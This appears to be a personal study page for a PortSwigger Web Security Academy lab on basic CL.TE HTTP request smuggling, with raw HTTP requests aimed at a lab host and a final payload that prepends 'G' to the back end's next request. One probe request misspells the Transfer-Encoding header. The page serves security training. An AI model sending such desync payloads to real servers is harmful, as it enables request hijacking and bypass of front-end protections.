> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/request-smuggling/basic-cl-te-request-smuggling.md).
# Basic CL.TE Vulnerability
Basic CL.TE Vulnerability notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### HTTP Request Smuggling, Basic CL.TE Vulnerability
In this lab, the infrastructure consists of a frontal server and a back server. The front server **does not support chunked encoding** and **rejects any query that does not use GET or POST** methods.
The objective is to **smuggle a query to the back-end** server so that **the following query interpreted by the server appears to use the `GPOST`** method.
> Note:/ " Even if the lab accepts HTTP/2, the necessary technique is based exclusively on HTTP/1. The protocol must be changed manually in Burp Repeater via the Request attributes section of the Inspector.
> Tip\:/ Manually handling lengths in a request smuggling attack can be complex. The Burp extension HTTP Request Smuggler, available in the BApp Store, can facilitate this task.
#### \*\* Valid Example Observed\*\*
The following request was accepted:
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Content-Length: 13
Tranfer-Encoding: chunked
3
abc
0
```
#### **Error by Changing the Final Size**
If the `0` terminal is replaced by an invalid character (e.g. `X`), the server reports an error:
```
3
abc
X
```
#### **Add Final Character to Inject `G`**
By placing a `G` after the final chunk, you can prepare the smuggled request for the backend:
```http
POST / HTTP/1.1
Host: 0acc00e204b4e3ae81f82028009c00eb.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G
```
---
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